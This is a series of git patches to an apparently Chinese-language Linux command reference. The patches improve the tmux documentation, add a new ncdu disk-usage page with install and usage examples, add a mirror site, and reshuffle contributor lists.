+ Vidwall Hub VidCrop Vidwall Mousio Hint From ff089344decd261b257e58ba134fe72ec58bfb3d Mon Sep 17 00:00:00 2001 From: duzhuoshanwai <65448395+duzhuoshanwai@users.noreply.github.com> Date: Tue, 7 Oct 2025 07:55:35 +0800 Subject: [PATCH 559/570] doc: Update tmux.md (#671) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 为表格添加表头和添加开启鼠标支持的方法 --- command/tmux.md | 87 +++++++++++++++++++++++++------------------------ 1 file changed, 45 insertions(+), 42 deletions(-) diff --git a/command/tmux.md b/command/tmux.md index 8ce7b1a7481..416bc775208 100644 --- a/command/tmux.md +++ b/command/tmux.md @@ -7,6 +7,9 @@ Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBS 使用它最直观的好处就是，通过一个终端登录远程主机并运行tmux后，在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机； +开启鼠标滚轮滚动： +`ctrl+b`，按下冒号 `:` 进入命令行模式，然后输入 `set -g mouse on` 后按回车 + ## 功能 - 提供了强劲的、易于使用的命令行界面。 @@ -38,59 +41,59 @@ make && make install ## 快捷键使用说明 -| | | -| :----- | :----- | -| Ctrl+b | 激活控制台；此时以下按键生效 | +| 快捷键 | 功能说明 | +| :----- | :--------------------------- | +| Ctrl+b | 激活控制台；此时以下按键生效 | ### 系统操作 -| | | -| :----- | -------- | -| ? | 列出所有快捷键；按q返回 | -| d | 脱离当前会话；这样可以暂时返回Shell界面，输入tmux attach能够重新进入之前的会话 | -| D | 选择要脱离的会话；在同时开启了多个会话时使用 | -| Ctrl+z | 挂起当前会话 | -| r | 强制重绘未脱离的会话 | -| s | 选择并切换会话；在同时开启了多个会话时使用 | -| : | 进入命令行模式；此时可以输入支持的命令，例如kill-server可以关闭服务器 | -| \[ | 进入复制模式；此时的操作与vi/emacs相同，按q/Esc退出 | -| \~ | 列出提示信息缓存；其中包含了之前tmux返回的各种提示信息 | +| 快捷键 | 功能说明 | +| :----- | ------------------------------------------------------------ | +| ? | 列出所有快捷键；按q返回 | +| d | 脱离当前会话；这样可以暂时返回Shell界面，输入tmux attach能够重新进入之前的会话 | +| D | 选择要脱离的会话；在同时开启了多个会话时使用 | +| Ctrl+z | 挂起当前会话 | +| r | 强制重绘未脱离的会话 | +| s | 选择并切换会话；在同时开启了多个会话时使用 | +| : | 进入命令行模式；此时可以输入支持的命令，例如kill-server可以关闭服务器 | +| \[ | 进入复制模式；此时的操作与vi/emacs相同，按q/Esc退出 | +| \~ | 列出提示信息缓存；其中包含了之前tmux返回的各种提示信息 | ### 窗口操作 -| | | -| :----- | -------- | -| c | 创建新窗口 | -| & | 关闭当前窗口 | -| 数字键 | 切换至指定窗口 | -| p | 切换至上一窗口 | -| n | 切换至下一窗口 | -| l | 在前后两个窗口间互相切换 | -| w | 通过窗口列表切换窗口 | -| , | 重命名当前窗口；这样便于识别 | +| 快捷键 | 功能说明 | +| :----- | ------------------------------------ | +| c | 创建新窗口 | +| & | 关闭当前窗口 | +| 数字键 | 切换至指定窗口 | +| p | 切换至上一窗口 | +| n | 切换至下一窗口 | +| l | 在前后两个窗口间互相切换 | +| w | 通过窗口列表切换窗口 | +| , | 重命名当前窗口；这样便于识别 | | . | 修改当前窗口编号；相当于窗口重新排序 | -| f | 在所有窗口中查找指定文本 | +| f | 在所有窗口中查找指定文本 | ### 面板操作 -| | | -| :----- | -------- | -| ” | 将当前面板平分为上下两块 | -| % | 将当前面板平分为左右两块 | -| x | 关闭当前面板 | -| ! | 将当前面板置于新窗口；即新建一个窗口，其中仅包含当前面板 | -| Ctrl+方向键 | 以1个单元格为单位移动边缘以调整当前面板大小 | -| Alt+方向键 | 以5个单元格为单位移动边缘以调整当前面板大小 | -| Space | 在预置的面板布局中循环切换；依次包括even-horizontal、even-vertical、main-horizontal、main-vertical、tiled | -| q | 显示面板编号 | -| o | 在当前窗口中选择下一面板 | -| 方向键 | 移动光标以选择面板 | -| { | 向前置换当前面板 | -| } | 向后置换当前面板 | -| Alt+o | 逆时针旋转当前窗口的面板 | -| Ctrl+o | 顺时针旋转当前窗口的面板 | +| 快捷键 | 功能说明 | +| :---------- | ------------------------------------------------------------ | +| ” | 将当前面板平分为上下两块 | +| % | 将当前面板平分为左右两块 | +| x | 关闭当前面板 | +| ! | 将当前面板置于新窗口；即新建一个窗口，其中仅包含当前面板 | +| Ctrl+方向键 | 以1个单元格为单位移动边缘以调整当前面板大小 | +| Alt+方向键 | 以5个单元格为单位移动边缘以调整当前面板大小 | +| Space | 在预置的面板布局中循环切换；依次包括even-horizontal、even-vertical、main-horizontal、main-vertical、tiled | +| q | 显示面板编号 | +| o | 在当前窗口中选择下一面板 | +| 方向键 | 移动光标以选择面板 | +| { | 向前置换当前面板 | +| } | 向后置换当前面板 | +| Alt+o | 逆时针旋转当前窗口的面板 | +| Ctrl+o | 顺时针旋转当前窗口的面板 | 1）进入tmux面板后，一定要先按ctrl+b，然后松开，再按其他的组合键才生效。 @@ -120,4 +123,4 @@ ctrl+b d # 脱离当前会话；这样可以暂时返回Shell界面， ## 参考资料 -- tmux 官网下载地址：http://tmux.github.io/ \ No newline at end of file +- tmux 官网下载地址：http://tmux.github.io/ From c5ef68afce47a6428d5e41adba5b71ba037d1d24 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 6 Oct 2025 23:56:05 +0000 Subject: [PATCH 560/570] doc: update README.md. --- README.md | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 76e4ea75a6c..61f5c78e62c 100644 --- a/README.md +++ b/README.md @@ -464,6 +464,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 谈笑风生间 zyy2477 rgshare +loverainye James Wang Jeremy2214 MioMuse @@ -471,8 +472,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Shan Chenyu Xrtero YEUNGCHIE +duzhuoshanwai lavaicer -loverainye Wang Yujia alfred 沙漠之子 @@ -490,17 +491,15 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Github1977 JiangHuDao Pan, Wen-Ming -duzhuoshanwai Dazhuangw Alterem +YH QinShower -RichardLCD Xingwen Zhang -YH -dayday +RichardLCD +hululu1068 illmons jqz3.tech -Jack.A.Black juemuren4449 kassadin NanoNova @@ -513,6 +512,9 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg +Jack.A.Black +cxalc +dayday Deny dongpohezui ecjtusbs @@ -525,10 +527,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. githubwxz hanwei gcluffy -cxalc hotdogc1017 huangyao -hululu1068 nsnans zyimm 七朔 From 81dfb3a4b68315bd7f23057511bb7e6a5129432e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 6 Oct 2025 23:56:06 +0000 Subject: [PATCH 561/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 1c4f45b6882..5dbc8e3658e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -24,6 +24,7 @@ 谈笑风生间 zyy2477 rgshare +loverainye James Wang Jeremy2214 MioMuse @@ -31,8 +32,8 @@ Shan Chenyu Xrtero YEUNGCHIE +duzhuoshanwai lavaicer -loverainye Wang Yujia alfred 沙漠之子 @@ -50,17 +51,15 @@ Github1977 JiangHuDao Pan, Wen-Ming -duzhuoshanwai Dazhuangw Alterem +YH QinShower -RichardLCD Xingwen Zhang -YH -dayday +RichardLCD +hululu1068 illmons jqz3.tech -Jack.A.Black juemuren4449 kassadin NanoNova @@ -73,6 +72,9 @@ dufu miniwater noodles2hg +Jack.A.Black +cxalc +dayday Deny dongpohezui ecjtusbs @@ -85,10 +87,8 @@ githubwxz hanwei gcluffy -cxalc hotdogc1017 huangyao -hululu1068 nsnans zyimm 七朔 From b5533b0daf2ad95b570bc0e67ea08c9d1e6e3201 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Mon, 3 Nov 2025 15:05:45 +0800 Subject: [PATCH 562/570] doc: Update README.md --- README.md | 57 ++++++++++++++++++++++++++++--------------------------- 1 file changed, 29 insertions(+), 28 deletions(-) diff --git a/README.md b/README.md index 61f5c78e62c..c62cd75603f 100644 --- a/README.md +++ b/README.md @@ -35,34 +35,35 @@ 非常感谢一直以来支持我开源项目的朋友们！如果您认可我的工作，欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表：

- Vidwall Hub - VidCrop - Vidwall - Mousio Hint - Mousio - Musicer - Audioer - FileSentinel - FocusCursor - Videoer - KeyClicker - DayBar - Iconed - RightMenu Master - Quick RSS - Quick RSS - Web Serve - Copybook Generator - DevTutor for SwiftUI - RegexMate - Time Passage - Iconize Folder - Textsound Saver - Create Custom Symbols - DevHub - Resume Revise - Palette Genius - Symbol Scribe + Keyzer + Vidwall Hub + VidCrop + Vidwall + Mousio Hint + Mousio + Musicer + Audioer + FileSentinel + FocusCursor + Videoer + KeyClicker + DayBar + Iconed + RightMenu Master + Quick RSS + Quick RSS + Web Serve + Copybook Generator + DevTutor for SwiftUI + RegexMate + Time Passage + Iconize Folder + Textsound Saver + Create Custom Symbols + DevHub + Resume Revise + Palette Genius + Symbol Scribe

## Web 版本 From 13368cd3a641b69be21c44e1fd5151a7d628d6ab Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 3 Nov 2025 07:08:10 +0000 Subject: [PATCH 563/570] doc: update README.md. --- README.md | 37 ++++++++++++++++++------------------- 1 file changed, 18 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index c62cd75603f..3180a754b19 100644 --- a/README.md +++ b/README.md @@ -486,25 +486,25 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. VVatt jcdj666 gggwvg -BingCoke -Ein Verne -FunKeen -Github1977 -JiangHuDao -Pan, Wen-Ming Dazhuangw Alterem YH -QinShower Xingwen Zhang RichardLCD -hululu1068 -illmons -jqz3.tech -juemuren4449 -kassadin -NanoNova +QinShower +Pan, Wen-Ming +JiangHuDao +Atri +BingCoke +Ein Verne +FunKeen kmephistoh +NanoNova +kassadin +juemuren4449 +jqz3.tech +illmons +hululu1068 leo lewis1573 linuxwd @@ -513,7 +513,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dufu miniwater noodles2hg -Jack.A.Black +Forever121 cxalc dayday Deny @@ -530,7 +530,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. gcluffy hotdogc1017 huangyao -nsnans zyimm 七朔 孤城落寞 @@ -565,6 +564,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 +0x_000 +Jack.A.Black Jelly Nexchard Karl Horky @@ -580,8 +581,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. mwei Marnm MinsonLee -Xiaodong DENG -0x_000 PanHeng azroy Cui Yang @@ -598,6 +597,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. HighScorePlayer Huntout Zhang Jack +Mystic +Xiaodong DENG Xonline-Tech Xu Chunyang Yan Sheng @@ -613,8 +614,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. brinkqiang c2ch chaofan -Forever121 -Mystic Q.Ben Zheng Ray Yee Rining Wu From 04c659117d8f462d468029ce4dbf407a06acec4b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 3 Nov 2025 07:08:11 +0000 Subject: [PATCH 564/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 37 ++++++++++++++++++------------------- 1 file changed, 18 insertions(+), 19 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 5dbc8e3658e..5ed8053d7b5 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -45,25 +45,25 @@ VVatt jcdj666 gggwvg -BingCoke -Ein Verne -FunKeen -Github1977 -JiangHuDao -Pan, Wen-Ming Dazhuangw Alterem YH -QinShower Xingwen Zhang RichardLCD -hululu1068 -illmons -jqz3.tech -juemuren4449 -kassadin -NanoNova +QinShower +Pan, Wen-Ming +JiangHuDao +Atri +BingCoke +Ein Verne +FunKeen kmephistoh +NanoNova +kassadin +juemuren4449 +jqz3.tech +illmons +hululu1068 leo lewis1573 linuxwd @@ -72,7 +72,7 @@ dufu miniwater noodles2hg -Jack.A.Black +Forever121 cxalc dayday Deny @@ -89,7 +89,6 @@ gcluffy hotdogc1017 huangyao -nsnans zyimm 七朔 孤城落寞 @@ -124,6 +123,8 @@ zodiac zoomdong zuixin369 +0x_000 +Jack.A.Black Jelly Nexchard Karl Horky @@ -139,8 +140,6 @@ mwei Marnm MinsonLee -Xiaodong DENG -0x_000 PanHeng azroy Cui Yang @@ -157,6 +156,8 @@ HighScorePlayer Huntout Zhang Jack +Mystic +Xiaodong DENG Xonline-Tech Xu Chunyang Yan Sheng @@ -172,8 +173,6 @@ brinkqiang c2ch chaofan -Forever121 -Mystic Q.Ben Zheng Ray Yee Rining Wu From 3e44029ca660841f949a0618f8b5af28f161cf9d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= <398188662@qq.com> Date: Sun, 16 Nov 2025 22:20:24 +0800 Subject: [PATCH 565/570] doc: add mirror site #649 --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 3180a754b19..4ae6fe99b6a 100644 --- a/README.md +++ b/README.md @@ -88,6 +88,7 @@ **推荐使用的镜像 web 版本** +[**`lukix.xyz`**](https://linux.lukix.xyz/) [**`lihaicheng.cn`**](https://linux.lihaicheng.cn) [**`kkcry.com`**](https://linux.kkcry.com) [**`dyh1319.asia`**](https://linux.dyh1319.asia) From dd9bec5ad60e7dfc7ae2acf92dccf067a3f02220 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 16 Nov 2025 14:21:00 +0000 Subject: [PATCH 566/570] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4ae6fe99b6a..4ecbcab92b2 100644 --- a/README.md +++ b/README.md @@ -588,7 +588,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. DYH1319 DaYangtuo247 Danny -Derek +Lucas Zhao Divenire Everything-is-one Frankie From 8d2804a13a4fff80d77181c1362359d358237ea8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 16 Nov 2025 14:21:01 +0000 Subject: [PATCH 567/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 5ed8053d7b5..d255b929174 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -146,7 +146,7 @@ DYH1319 DaYangtuo247 Danny -Derek +Lucas Zhao Divenire Everything-is-one Frankie From 5eca3b9a43ada76372a7c9892c3213f9e8d6a0e7 Mon Sep 17 00:00:00 2001 From: KrisMagical <144247736+KrisMagical@users.noreply.github.com> Date: Mon, 17 Nov 2025 21:21:49 +0800 Subject: [PATCH 568/570] feat: add ncdu command (#673) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * add ncdu command Add detailed documentation for the ncdu command, including installation methods, common options, interactive key bindings, and usage examples.The page follows the same style as other command references. * Revise ncdu documentation 对文件开头的格式做出了修改 --- command/ncdu.md | 126 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 command/ncdu.md diff --git a/command/ncdu.md b/command/ncdu.md new file mode 100644 index 00000000000..ee1bfc22680 --- /dev/null +++ b/command/ncdu.md @@ -0,0 +1,126 @@ +ncdu +=== + +磁盘使用情况的交互式查看工具，可视为 du 的增强版本 + +## 补充说明 + +**ncdu**（**NC**urses **D**isk **U**sage）是 Unix 系统上一款基于 ncurses 的磁盘占用分析工具，可视为传统 `du` 命令的增强版本。 +与 `du` 输出静态文本不同，**ncdu 提供交互式 TUI 界面**，可通过方向键浏览目录树，并支持排序、查看文件信息、直接删除文件等功能。 +它非常适合用于快速定位大文件、分析磁盘空间占用以及磁盘清理。1.09+ 版本支持将扫描结果导出为 JSON。 + +官网 + +* 官方网站（作者主页）：[https://dev.yorhel.nl/ncdu](https://dev.yorhel.nl/ncdu) +* Wikipedia：[https://en.wikipedia.org/wiki/Ncdu](https://en.wikipedia.org/wiki/Ncdu) + +### ncdu 安装 + +在大多数的 Linux 发行版中你同样不会看到 **ncdu** 被默认预装，但作为最常用的磁盘分析工具之一，它几乎在所有主流发行版的官方仓库中都可以直接安装。 + +不同系统的安装方式如下： + +#### **Debian/Ubuntu** + +```shell +sudo apt install ncdu +``` + +#### **CentOS / Rocky / AlmaLinux** + +```shell +sudo yum install epel-release +sudo yum install ncdu +``` + +#### **Fedora** + +```shell +sudo dnf install ncdu +``` + +#### **Arch Linux** + +```shell +sudo pacman -S ncdu +``` + +#### **macOS（Homebrew）** + +```shell +brew install ncdu +``` + +#### **FreeBSD** + +```shell +pkg install ncdu +``` + +### 语法 + +```shell +ncdu [选项] [目录] +``` + +### 选项 + +```shell +-h, --help 显示帮助信息。 +-v, --version 显示版本号。 +-x 限制扫描在单一文件系统中（不跨挂载点）。 +-q 减少屏幕刷新次数（适合远程 SSH）。 +-o FILE 将扫描结果导出为 FILE（JSON 格式，需 1.09+）。 +-f FILE 从 JSON 文件加载扫描结果（需 1.09+）。 +--exclude PATTERN 排除符合模式的文件或目录。 +--exclude-from FILE 从文件读取排除模式。 +--follow-symlinks 跟随符号链接。 +--confirm-deletion 删除文件时要求确认。 +``` + +### 交互说明 + +↑, ↓, →, ← 代表键盘方向键 + +| 按键 | 功能 | +| ------------- | ------------------------------- | +| ↑ / k | 上移光标 | +| / j | 下移光标 | +| → / Enter / l | 打开当前目录 | +| ← / h | 返回父目录 | +| n | 按名称排序（再次按切换升/降序） | +| s | 按大小排序（再次按切换升/降序） | +| d | 删除选中项 | +| g | 显示百分比/图表 | +| t | 排序时切换“目录优先” | +| c | 显示或隐藏子项数量 | +| b | 在当前目录打开 shell | +| i | 查看选中文件/目录的详细信息 | +| r | 刷新/重新扫描当前目录 | +| q | 退出 ncdu | + +### 实例 + +#### 扫描当前目录 + +```shell +ncdu +``` + +#### 扫描指定目录（示例：/var/log） + +```shell +ncdu /var/log +``` + +#### 导出扫描结果为 JSON（1.09+） + +```shell +ncdu -o result.json / +``` + +#### 从 JSON 文件加载结果 + +```shell +ncdu -f result.json +``` From ebcdfdb5158ded230803b7b03b74dd55d00e1cd0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 17 Nov 2025 13:22:31 +0000 Subject: [PATCH 569/570] doc: update README.md. --- README.md | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 4ecbcab92b2..c07c764a70e 100644 --- a/README.md +++ b/README.md @@ -499,13 +499,14 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. BingCoke Ein Verne FunKeen -kmephistoh NanoNova kassadin juemuren4449 jqz3.tech illmons hululu1068 +huangyao +kmephistoh leo lewis1573 linuxwd @@ -513,7 +514,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. cole dufu miniwater -noodles2hg +Jack.A.Black Forever121 cxalc dayday @@ -530,7 +531,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. hanwei gcluffy hotdogc1017 -huangyao +noodles2hg zyimm 七朔 孤城落寞 @@ -565,11 +566,10 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. zodiac zoomdong zuixin369 -0x_000 -Jack.A.Black Jelly Nexchard Karl Horky +KrisMagical LaudOak Legend LexsionLee @@ -581,7 +581,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Wang mwei Marnm -MinsonLee +XBG +0x_000 PanHeng azroy Cui Yang @@ -598,7 +599,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. HighScorePlayer Huntout Zhang Jack -Mystic Xiaodong DENG Xonline-Tech Xu Chunyang @@ -615,6 +615,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. brinkqiang c2ch chaofan +MinsonLee +Mystic Q.Ben Zheng Ray Yee Rining Wu @@ -630,7 +632,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. T-TRz879 Na Meng Wingrez -XBG From c9186e790e75dfe8b10de6edde221f792bb0328a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 17 Nov 2025 13:22:32 +0000 Subject: [PATCH 570/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index d255b929174..cd322f637a3 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -57,13 +57,14 @@ BingCoke Ein Verne FunKeen -kmephistoh NanoNova kassadin juemuren4449 jqz3.tech illmons hululu1068 +huangyao +kmephistoh leo lewis1573 linuxwd @@ -71,7 +72,7 @@ cole dufu miniwater -noodles2hg +Jack.A.Black Forever121 cxalc dayday @@ -88,7 +89,7 @@ hanwei gcluffy hotdogc1017 -huangyao +noodles2hg zyimm 七朔 孤城落寞 @@ -123,11 +124,10 @@ zodiac zoomdong zuixin369 -0x_000 -Jack.A.Black Jelly Nexchard Karl Horky +KrisMagical LaudOak Legend LexsionLee @@ -139,7 +139,8 @@ Wang mwei Marnm -MinsonLee +XBG +0x_000 PanHeng azroy Cui Yang @@ -156,7 +157,6 @@ HighScorePlayer Huntout Zhang Jack -Mystic Xiaodong DENG Xonline-Tech Xu Chunyang @@ -173,6 +173,8 @@ brinkqiang c2ch chaofan +MinsonLee +Mystic Q.Ben Zheng Ray Yee Rining Wu @@ -188,7 +190,6 @@ T-TRz879 Na Meng Wingrez -XBG